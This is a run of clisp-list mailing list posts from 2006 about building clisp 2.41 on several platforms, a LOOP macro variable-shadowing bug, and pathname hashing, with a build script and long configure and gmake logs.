>>     #1  0x00000000004c529b in write_errorstring (errorstring=0x56247f 
>> ": illegal ~S argument ~S") at error.d:193
>>     #2  0x00000000004c5a61 in prepare_error (errortype=type_error, 
>> errorstring=0x56247d "~S: illegal ~S argument ~S", 
>> start_driver_p=true) at error.d:336
>>     #3  0x00000000004c5a8e in fehler (errortype=Variable "errortype" 
>> is not available.
>>     ) at error.d:349
>>     #4  0x0000000000438389 in C_make_encoding () at encoding.d:2042
> 
> could you please check which encoding does it fail to create?
> is the encoding present on your system (check with iconv -l)
> maybe your iconv is broken?
> what is your glibc version?
> please try "./configure --without-unicode" - it will avoid all encoding 
> issues but you will be stuck with 8bit chars.
> 
>>     #5  0x00000000004395b6 in init_encodings_2 () at encoding.d:2475
>>     #6  0x000000000041191a in initmem () at spvw.d:1503
>>     #7  0x00000000004141d5 in init_memory (p=0x6fbb00) at spvw.d:2925
>>     #8  0x0000000000412bed in main (argc=16, argv=0x7fbfffe198) at 
>> spvw.d:3278
> 
> WFM, you can find the clisp amd64 package on SF.
> 
>> On IA-64, with a build using gcc-3.4.2, I get a different error:
>>
>>     ./lisp.run -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 
>> -norc -m 1800KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) 
>> (ext::exit)) (ext::exit t)"
>>     Cannot map memory to address 0x4000000000000 .
>>     [spvw_mmap.d:359] errno = EINVAL: Invalid argument.
>>     ./lisp.run: Not enough memory for Lisp.
>>
>> The "not enough memory" error is bogus, since the machine has 4GB of
>> RAM, and a load of essentially zero, with nothing else of significance
>> running.
> 
> please see unix/PLATFORMS and search for "IA-64"
> 
>> On Sun Solaris IA-32 in a build with gcc-3.3, I get this test failure:
>>
>>     ;; Loading file /local/build/gcc/clisp-2.41/src/compiler.fas 
>> ...*** Signal 11
>>     make: Fatal error: Command failed for target `halfcompiled.mem'
> 
> 
> wow - you got quite far!
> could y please try to debug this (replace "-O" with "-g").
> thanks.
> 
> 
> 
> 



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Sam Steingold wrote:
> Nelson H. F. Beebe wrote:
>>     $(prefix)/bin/clisp
>>     $(prefix)/bin/clisp-x.y.z
>>     $(prefix)/lib/clisp/clisp-x.y.z/
>>     $(prefix)/share/doc/clisp/clisp-x.y.z/
> 
> some packages do that.
> some don't.
> you can try
> make install lisplibdir=/usr/lib/clisp-x.y.z
> 
>> Please consider making such a change in future versions of clisp.
> 
> http://www.cygwin.com/acronyms/#PTC
> 
>> I also notice that clisp has neither a manual page nor an emacs info
>> document; both would be welcome additions to future distributions.
> 
> this claim is surprising.
> clisp comes with a man page in both HTML and ROFF, and "make install" 
> installs both.
> 
> if you know of a way to generate info from docbook/xml, PTC.
> clisp also comes with extensive implementation notes in HTML format 
> (multi-part: http://clisp.cons.org/impnotes/, monolith: 
> http://clisp.cons.org/impnotes.html)
> 
> Sam.
> 



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Nelson H. F. Beebe writes:
> At present, a build of clisp (2.41 being the most recent) produces an
> installation of 84 files in these directories:
>=20
> 	$(prefix)/bin/clisp
> 	$(prefix)/lib/clisp/
> 	$(prefix)/share/doc/clisp/
>=20
> This makes it inconvenient to maintain multiple versions of clisp on
> the system, since the only way to do that is to change the value of
> prefix, requiring yet another directory in a possibly already-long
> PATH list.
>=20
> Many other packages take the approach exhibited by this structure:
>=20
> 	$(prefix)/bin/clisp
> 	$(prefix)/bin/clisp-x.y.z
> 	$(prefix)/lib/clisp-x.y.z/
> 	$(prefix)/share/doc/clisp-x.y.z/
>=20
> or this one
>=20
> 	$(prefix)/bin/clisp
> 	$(prefix)/bin/clisp-x.y.z
> 	$(prefix)/lib/clisp/clisp-x.y.z/
> 	$(prefix)/share/doc/clisp/clisp-x.y.z/
>=20
> where the clisp file in the bin directory is a (symbolic or hard) link
> to clisp-x.y.z.
>=20
> Installation of the next release of the package removes
>=20
> 	$(prefix)/bin/clisp
>=20
> before installing the new executable, so that on completion, all older
> versions remain intact, and usable by explicit name, with clisp
> pointing to the most recent.
>=20
> With large complex systems, I have often found it useful to be able to
> easily try older versions of the package when an anomaly or bug shows
> up.
>=20
> Please consider making such a change in future versions of clisp.

What's the problem with a different prefix for each version?

I install my compilers in /usr/local/languages/${language}-${version}
and make a symlink named  /usr/local/languages/${language}
on the version I want to use, plus symlinks from /usr/local/bin and
possibly from /usr/local/lib and usr/local/man to
/usr/local/languages/${language}/* as needed.

This allows easy interactive use of the latest version, while the
applications in production  can use the exact version they're compiled
for using the absolute paths like /usr/local/languages/clisp-2.38/bin/cli=
sp



It would be totally useless to put all of these bin in the PATH, since
only the first one could be lauched thru the path.


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I'm trying to build clisp 2.41 on Solaris (sparc).  I downloaded
libsigsegv and built that just fine.  For various reasons, that is
installed in /apps/public/solaris2.8/.

When I try to configure clisp with
--with-libsigsegv-prefix=/apps/public/solaris2.8, configure can't find
the ligsigsegv header file or libs.

If I look at build/config.log, it's easy to see why:

configure:23837: checking for libsigsegv
configure:23862: gcc -o conftest -g -O2   conftest.c  -lnsl -lsocket -lsigsegv >&5

That is, it didn't put in a -I or -L to specify the path to the
libsigsegv installation.

Why it didn't do that, I don't know.

Hints on where to look to fix this would be appreciated.

This also fails with --with-readline-prefix too.  I didn't check
config.log to look, but I suspect it's the same problem.


Ray



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Hello,

It appears that following construct behaves different than expected in
clisp (2.40 and 2.41, Linux and Windows tried):

(let ((vars '(1 2 3 4)))
   (loop for i from 0 to 10 for vars on vars do (print vars)))
=> nil

The expansion
(macroexpand-1 '(loop for i from 0 to 10 for vars on vars do (print
vars))) shows the reason.

(MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR)))
 (BLOCK NIL
  (LET ((I 0))
   (PROGN
    (LET ((VARS NIL)) ; <-------- here
     (LET NIL
      (LET NIL
       (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP)))
        (TAGBODY (SETQ VARS VARS) SYSTEM::BEGIN-LOOP
         (WHEN (> I 10) (LOOP-FINISH)) (WHEN (ATOM VARS) (LOOP-FINISH))
         (PROGN (PROGN (PRINT VARS))) (PSETQ I (+ I 1)) (PSETQ VARS (CDR VARS))
         (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP
         (MACROLET
          ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN)
            '(GO SYSTEM::END-LOOP)))))))))))))

Is this a bug? Without the for i from 0 to 10 clause it appears to
work as expected. The construction is used in Ironclad macros
expansion, so it is not an academical example, however unfortunate the
duplication of variable name may be.

Regards,

Tomas


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Tomas Zellerin wrote:
> (let ((vars '(1 2 3 4)))
>    (loop for i from 0 to 10 for vars on vars do (print vars)))

"for varS on varS"? May be you meant "for var on varS"?

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On 10/27/06, Yaroslav Kavenchuk <kavenchuk@jenty.by> wrote:
> Tomas Zellerin wrote:
> > On 10/27/06, Yaroslav Kavenchuk <kavenchuk@jenty.by> wrote:
> >> Tomas Zellerin wrote:
> >>> (let ((vars '(1 2 3 4)))
> >>>    (loop for i from 0 to 10 for vars on vars do (print vars)))
> >> "for varS on varS"? May be you meant "for var on varS"?
> >>
> > No. This is the reason of the problem. And it would probably be for
> > var IN vars, then :)
> >
> > See ironclad source sha1.lisp if you dont believe it is actually used.
> > Looks strange, but I dont see from CLSH why it should not be valid
> > code.
>
> You have specially answered only to me?
>
oops, my mistake, sorry . It should go to the list.

> tests on sbcl:
>
> * (loop for i from 0 to 10 for vars on vars do (print vars))
>
> (1 2 3 4)
> (2 3 4)
> (3 4)
> (4)
> NIL
> * (loop for i from 0 to 10 for vars in vars do (print vars))
>
> 1
> 2
> 3
> 4
> NIL
> *
Yes, I know it works on sbcl.


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On Fri, 27 Oct 2006 09:07:13 +0200
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> The expansion
> (macroexpand-1 '(loop for i from 0 to 10 for vars on vars do (print
> vars))) shows the reason.
> 
> (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR)))
>  (BLOCK NIL
>   (LET ((I 0))
>    (PROGN
>     (LET ((VARS NIL)) ; <-------- here
>      (LET NIL
>       (LET NIL
>        (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP)))
>         (TAGBODY (SETQ VARS VARS) SYSTEM::BEGIN-LOOP
>          (WHEN (> I 10) (LOOP-FINISH)) (WHEN (ATOM VARS)
> (LOOP-FINISH)) (PROGN (PROGN (PRINT VARS))) (PSETQ I (+ I 1)) (PSETQ
> VARS (CDR VARS)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP
>          (MACROLET
>           ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN)
>             '(GO SYSTEM::END-LOOP)))))))))))))
> 

It doesn't seem to me that that line is necessarily the problem,
although I am not a clisp guru.  In clisp 2.39...

[1]>  (setf vars '(1 2 3 4))
(1 2 3 4)
[2]>  (setf vars1 '(1 2 3 4))
(1 2 3 4)
[3]> (loop for i from 0 to 10 for vars on vars1 do (print vars))

(1 2 3 4) 
(2 3 4) 
(3 4) 
(4) 
NIL

[4]> (macroexpand-1 '(loop for i from 0 to 10 for vars on vars1 do (print vars)))
(MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR)))
 (BLOCK NIL
  (LET ((I 0))
   (PROGN
    (LET ((VARS NIL))
     (LET NIL
      (LET NIL
       (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP)))
        (TAGBODY (SETQ VARS VARS1) SYSTEM::BEGIN-LOOP (WHEN (> I 10) (LOOP-FINISH))
         (WHEN (ATOM VARS) (LOOP-FINISH)) (PROGN (PROGN (PRINT VARS))) (PSETQ I (+ I 1))
         (PSETQ VARS (CDR VARS)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP
         (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP))))))))))))) ;
T

Has the same (LET ((VARS NIL)) line but works. Perhaps it is using the
wrong VARS in the (SETQ VARS VARS) segment?


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P[98]> (block nil (maphash (lambda (k v) (print k) (return)) *source-file=
-db*))

#P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"=20
NIL
P[99]> (gethash #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"  *=
source-file-db*)
NIL ;
NIL
P[100]> (hash-table-test *source-file-db*)
EXT:FASTHASH-EQUAL
P[101]> (equal #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"
               (block nil (maphash (lambda (k v) (print k) (return)) *sou=
rce-file-db*)))

#P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"=20
NIL
P[102]> (ext:fasthash-equal #P"/a6/users/pjb/src/public/lisp/clisp/susv3-=
xsi.lisp"
                           (block nil (maphash (lambda (k v) (print k) (r=
eturn)) *source-file-db*)))

#P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"=20
NIL
P[103]> (gethash (print (ext:fasthash-equal #P"/a6/users/pjb/src/public/l=
isp/clisp/susv3-xsi.lisp"
                          (block nil (maphash (lambda (k v) (print k) (re=
turn)) *source-file-db*)))) *source-file-db*)

#P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"  ; (print k)
NIL                                                     ; (print (ext:fas=
thash-equal ...))
NIL ;      =20
NIL


EXT:FASTHASH-EQUAL on pathnames seems to return a random value...


P[108]> (cl-user::print-bug-report-info)


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I cannot test it in 2.41 because it doesn't compile.

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Pascal Bourguignon wrote:
> P[98]> (block nil (maphash (lambda (k v) (print k) (return)) *source-file-db*))
> 
> #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp" 
> NIL
> P[99]> (gethash #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"  *source-file-db*)
> NIL ;
> NIL

pathnames are not printed readably.
things like :version can be nil or newest without affecting the printed 
representation.
the two identically printed pathnames above are probably different in 
that respect.

> I cannot test it in 2.41 because it doesn't compile.

did you file a bug report?
does 2.40 compile?

Sam.


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Sam Steingold writes:
> Pascal Bourguignon wrote:
> > P[98]> (block nil (maphash (lambda (k v) (print k) (return)) *source-=
file-db*))
> >=20
> > #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"=20
> > NIL
> > P[99]> (gethash #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp=
"  *source-file-db*)
> > NIL ;
> > NIL
>=20
> pathnames are not printed readably.
> things like :version can be nil or newest without affecting the printed=
=20
> representation.
> the two identically printed pathnames above are probably different in=20
> that respect.

Ok. In the hashtable I had paths gone thru TRUENAME.

[ And I misread EQUAL, thinking that
    (=3D=3D> (functionnaly-equivalent-pathname-p a b) (EQUAL a b))
  when it's actually
    (=3D=3D> (EQUAL a b) (functionnaly-equivalent-pathname-p a b)) ]




Well #P is specified to be #.(parse-namestring 'path)
and parse-namestring is specified to use *default-pathname-defaults*
and I have (pathname-version *default-pathname-defaults*) --> :NEWEST
so I'd expect (pathname-verson #P"/tmp/a.c") to be :NEWEST, not NIL,
even if we're really in the implementation-defined clause of parse-namest=
ring.

It would give more consistency, without losing anything. People who
want a null version for #P"/tmp/a.c" could set it so in
*default-pathname-defaults*.

P[157]> (print-pathname *default-pathname-defaults*)
Host      : NIL
Device    : NIL
Directory : (:ABSOLUTE "a6" "users" "pjb" "src" "public" "lisp" "common-l=
isp")
Name      : NIL
Type      : NIL
Version   : :NEWEST
#P"/a6/users/pjb/src/public/lisp/common-lisp/"
P[158]> (print-pathname #P"/tmp/a.c")
Host      : NIL
Device    : NIL
Directory : (:ABSOLUTE "tmp")
Name      : "a"
Type      : "c"
Version   : NIL
#P"/tmp/a.c"
P[159]> (print-pathname (truename #P"/tmp/a.c"))
Host      : NIL
Device    : NIL
Directory : (:ABSOLUTE "tmp")
Name      : "a"
Type      : "c"
Version   : :NEWEST
#P"/tmp/a.c"
P[160]>=20



--=20
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On 10/27/06, Bradley Reed <bradreed1@gmail.com> wrote:
> On Fri, 27 Oct 2006 09:07:13 +0200
> "Tomas Zellerin" <zellerin@gmail.com> wrote:
>
> > The expansion
> > (macroexpand-1 '(loop for i from 0 to 10 for vars on vars do (print
> > vars))) shows the reason.
> >
>
> It doesn't seem to me that that line is necessarily the problem,
> although I am not a clisp guru.  In clisp 2.39...
>
> [1]>  (setf vars '(1 2 3 4))
> (1 2 3 4)
> [2]>  (setf vars1 '(1 2 3 4))
> (1 2 3 4)
> [3]> (loop for i from 0 to 10 for vars on vars1 do (print vars))
>
> (1 2 3 4)
> (2 3 4)
> (3 4)
> (4)
> NIL
>
> [4]> (macroexpand-1 '(loop for i from 0 to 10 for vars on vars1 do (print vars)))
> (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR)))
>  (BLOCK NIL
>  (LET ((I 0))
>   (PROGN
>    (LET ((VARS NIL))
>     (LET NIL
>      (LET NIL
>       (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP)))
>        (TAGBODY (SETQ VARS VARS1) SYSTEM::BEGIN-LOOP (WHEN (> I 10) (LOOP-FINISH))
>         (WHEN (ATOM VARS) (LOOP-FINISH)) (PROGN (PROGN (PRINT VARS))) (PSETQ I (+ I 1))
>         (PSETQ VARS (CDR VARS)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP
>         (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP))))))))))))) ;
> T
>
> Has the same (LET ((VARS NIL)) line but works. Perhaps it is using the
> wrong VARS in the (SETQ VARS VARS) segment?

I do not understand the reasoning. The whole point is that the problem
arises when the name of the loop variables is same as the expression
that it should iterate on; as you have vars and vars1, the problem is
not expected to appear - vars1 is not shadowed by vars.

Regards,

Tomas


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Subject: [clisp-list] 2.41 on linux can't compile (pb with readline)
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Always with my same clisp-compile-linux script, 2.41 cannot be
compiled on Linux.  It fails on the readline module. I've updated to
readline-5.2 but it keeps breaking the same way.

------------------------------------------------------------------------
#!/bin/bash
version=3D$(awk -F=3D '/PACKAGE_VERSION=3D/{print substr($2,2,index($2," =
")-2);}' ./src/configure)
if [ $# -ge 1 ] ; then version=3D$1 ; shift ; fi
echo version=3D$version
rm -rf /tmp/clisp-${version}-build/
time ./configure \
     --prefix=3D/usr/local/languages/clisp-${version} \
     --with-libz-prefix=3D/usr/local \
     $(for m in \
           zlib \
           bindings/glibc \
           clx/new-clx \
           pcre \
           rawsock \
           regexp \
           syscalls \
           wildcard \
        ; do \
        if expr match "$m" 'i18n\|regexp\|syscalls' >/dev/null;\
        then true already there ;\
        else echo -n "--with-module=3D$m  " ;\
        fi ; done) \
     --build /tmp/clisp-${version}-build \
     --install
------------------------------------------------------------------------


...
configure: loading cache ../config.cache
configure: ** Readline (Tools)
checking for gcc... (cached) gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...=20
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking how to run the C preprocessor... (cached) gcc -E
configure: ** Readline (Headers, Variables & Functions)
checking for library containing tgetent... (cached) -lncurses
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking for readline/readline.h... (cached) yes
checking for readline... (cached) yes
checking for rl_filename_completion_function... (cached) yes
checking for filename_completion_function declaration... (cached)=20
         extern char* rl_filename_completion_function(const char*, int);
checking whether rl_already_prompted is declared... (cached) yes
checking whether rl_readline_name is declared... (cached) yes
checking whether rl_gnu_readline_p is declared... (cached) yes
checking for a modern readline... found a modern GNU readline
checking whether rl_library_version is declared... yes
checking whether rl_readline_version is declared... yes
checking whether rl_editing_mode is declared... yes
checking whether rl_insert_mode is declared... yes
checking whether rl_readline_state is declared... yes
checking whether rl_line_buffer is declared... yes
checking whether rl_point is declared... yes
checking whether rl_end is declared... yes
checking whether rl_mark is declared... yes
checking whether rl_done is declared... yes
checking whether rl_num_chars_to_read is declared... yes
checking whether rl_pending_input is declared... yes
checking whether rl_dispatching is declared... yes
checking whether rl_erase_empty_line is declared... yes
checking whether rl_prompt is declared... yes
checking whether rl_terminal_name is declared... yes
checking whether rl_instream is declared... yes
checking whether rl_outstream is declared... yes
checking whether rl_last_func is declared... yes
checking whether rl_startup_hook is declared... yes
checking whether rl_pre_input_hook is declared... yes
checking whether rl_event_hook is declared... yes
checking whether rl_getc_function is declared... yes
checking for rl_set_prompt... yes
checking for rl_initialize... yes
checking for rl_read_init_file... yes
checking for rl_add_defun... yes
checking for rl_make_bare_keymap... yes
checking for rl_copy_keymap... yes
checking for rl_make_keymap... yes
checking for rl_discard_keymap... yes
checking for rl_get_keymap... yes
checking for rl_set_keymap... yes
checking for rl_get_keymap_by_name... yes
checking for rl_bind_key... yes
checking for rl_bind_key_in_map... yes
checking for rl_bind_key_if_unbound... no
checking for rl_bind_key_if_unbound_in_map... no
checking for rl_unbind_key... yes
checking for rl_unbind_key_in_map... yes
checking for rl_unbind_function_in_map... yes
checking for rl_unbind_command_in_map... yes
checking for rl_bind_keyseq... no
checking for rl_bind_keyseq_in_map... no
checking for rl_bind_keyseq_if_unbound... no
checking for rl_bind_keyseq_if_unbound_in_map... no
checking for rl_generic_bind... yes
checking for rl_parse_and_bind... yes
checking for rl_named_function... yes
checking for rl_function_of_keyseq... yes
checking for rl_invoking_keyseqs... yes
checking for rl_invoking_keyseqs_in_map... yes
checking for rl_function_dumper... yes
checking for rl_list_funmap_names... yes
checking for rl_funmap_names... yes
checking for rl_add_funmap_entry... yes
checking for rl_begin_undo_group... yes
checking for rl_end_undo_group... yes
checking for rl_add_undo... yes
checking for rl_free_undo_list... yes
checking for rl_do_undo... yes
checking for rl_modifying... yes
checking for rl_redisplay... yes
checking for rl_forced_update_display... yes
checking for rl_on_new_line... yes
checking for rl_on_new_line_with_prompt... yes
checking for rl_reset_line_state... yes
checking for rl_crlf... yes
checking for rl_show_char... yes
checking for rl_message... yes
checking for rl_clear_message... yes
checking for rl_save_prompt... yes
checking for rl_restore_prompt... yes
checking for rl_expand_prompt... yes
checking for rl_insert_text... yes
checking for rl_delete_text... yes
checking for rl_copy_text... yes
checking for rl_kill_text... yes
checking for rl_push_macro_input... yes
checking for rl_read_key... yes
checking for rl_getc... yes
checking for rl_stuff_char... yes
checking for rl_execute_next... yes
checking for rl_clear_pending_input... yes
checking for rl_set_keyboard_input_timeout... yes
checking for rl_prep_terminal... yes
checking for rl_deprep_terminal... yes
checking for rl_tty_set_default_bindings... yes
checking for rl_reset_terminal... yes
checking for rl_replace_line... yes
checking for rl_extend_line_buffer... yes
checking for rl_ding... yes
checking for rl_display_match_list... yes
checking for rl_variable_bind... yes
checking for rl_macro_dumper... yes
checking for rl_variable_dumper... yes
checking for rl_set_paren_blink_timeout... yes
checking for rl_get_termcap... yes
checking for rl_resize_terminal... yes
checking for rl_set_screen_size... yes
checking for rl_get_screen_size... yes
checking for rl_callback_handler_install... yes
checking for rl_callback_read_char... yes
checking for rl_callback_handler_remove... yes
checking for using_history... yes
checking for add_history... yes
checking for clear_history... yes
checking for stifle_history... yes
checking for unstifle_history... yes
checking for history_is_stifled... yes
checking for where_history... yes
checking for history_total_bytes... yes
checking for history_set_pos... yes
checking for history_search... yes
checking for history_search_prefix... yes
checking for history_search_pos... yes
checking for read_history... yes
checking for read_history_range... yes
checking for write_history... yes
checking for append_history... yes
checking for history_truncate_file... yes
configure: ** Readline (Output)
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure: ** Readline (Done)
CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E=
 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd readline ; dots=3D`echo re=
adline/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-modul=
e CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpoint=
er-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compar=
e -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC=
_FFI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a lib=
avcall.a libcallback.a -lreadline -lncurses -ldl  -liconv -lsigsegv" RANL=
IB=3D"ranlib" CLISP=3D"$CLISP -q"
gmake[1]: Entering directory `/tmp/clisp-2.41-build/readline'
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -c readline.lisp
;; Compiling file /tmp/clisp-2.41-build/readline/readline.lisp ...
;; Wrote file /tmp/clisp-2.41-build/readline/readline.fas
;; Wrote file /tmp/clisp-2.41-build/readline/readline.c
0 errors, 0 warnings
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c readline.c -lre=
adline
gcc: -lreadline: linker input file unused because linking not done
gmake[1]: Leaving directory `/tmp/clisp-2.41-build/readline'
/usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua=
ges/clisp/clisp-2.41/modules/zlib zlib
m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/zlib; pwd`; \
if test -f zlib/configure -a zlib/configure -nt zlib/config.status ; then=
 cd zlib ; \
  ( cache=3D`echo zlib/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; \
    if test -f ${cache} ; then . ${cache}; \
      if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va=
lue}"; export CC; fi; \
      if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e=
nv_CFLAGS_value}"; export CFLAGS; fi; \
      /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy=
namic-ffi --with-libz-prefix=3D/usr/local;\
    else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz=
-prefix=3D/usr/local; \
    fi ) ;\
fi
configure: loading cache ../config.cache
configure: ** Zlib (Tools)
checking for gcc... (cached) gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...=20
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking how to run the C preprocessor... (cached) gcc -E
checking build system type... (cached) i686-pc-linux-gnu
checking host system type... (cached) i686-pc-linux-gnu
checking for ld used by GCC... (cached) /usr/i486-suse-linux/bin/ld
checking if the linker (/usr/i486-suse-linux/bin/ld) is GNU ld... (cached=
) yes
checking for shared library run path origin... (cached) done
checking how to link with libz... /usr/local/lib/libz.so -Wl,-rpath -Wl,/=
usr/local/lib
configure: ** Zlib (Headers)
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking zlib.h usability... yes
checking zlib.h presence... yes
checking for zlib.h... yes
configure: ** Zlib (Functions)
checking for library containing compress2... none required
checking for compressBound... yes
configure: ** Zlib (Output)
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure: ** Zlib (Done)
CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E=
 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd zlib ; dots=3D`echo zlib/ =
| sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module CC=3D"=
gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpointer-arith=
 -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -f=
expensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I.=
" INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a libavcall.a=
 libcallback.a -lreadline -lncurses -ldl  -liconv -lsigsegv" RANLIB=3D"ra=
nlib" CLISP=3D"$CLISP -q"
gmake[1]: Entering directory `/tmp/clisp-2.41-build/zlib'
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -c zlib.lisp
;; Compiling file /tmp/clisp-2.41-build/zlib/zlib.lisp ...
;; Wrote file /tmp/clisp-2.41-build/zlib/zlib.fas
;; Wrote file /tmp/clisp-2.41-build/zlib/zlib.c
0 errors, 0 warnings
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c zlib.c
gmake[1]: Leaving directory `/tmp/clisp-2.41-build/zlib'
/usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua=
ges/clisp/clisp-2.41/modules/bindings/glibc bindings/glibc
m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/bindings/glibc;=
 pwd`; \
if test -f bindings/glibc/configure -a bindings/glibc/configure -nt bindi=
ngs/glibc/config.status ; then cd bindings/glibc ; \
  ( cache=3D`echo bindings/glibc/ | sed -e 's,[^/][^/]*//*,../,g'`config.=
cache; \
    if test -f ${cache} ; then . ${cache}; \
      if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va=
lue}"; export CC; fi; \
      if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e=
nv_CFLAGS_value}"; export CFLAGS; fi; \
      /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy=
namic-ffi --with-libz-prefix=3D/usr/local;\
    else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz=
-prefix=3D/usr/local; \
    fi ) ;\
fi
CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E=
 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd bindings/glibc ; dots=3D`e=
cho bindings/glibc/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake=
 clisp-module CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcom=
ment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno=
-sign-compare -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICO=
DE -DDYNAMIC_FFI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libc=
harset.a libavcall.a libcallback.a -lreadline -lncurses -ldl  -liconv -ls=
igsegv" RANLIB=3D"ranlib" CLISP=3D"$CLISP -q"
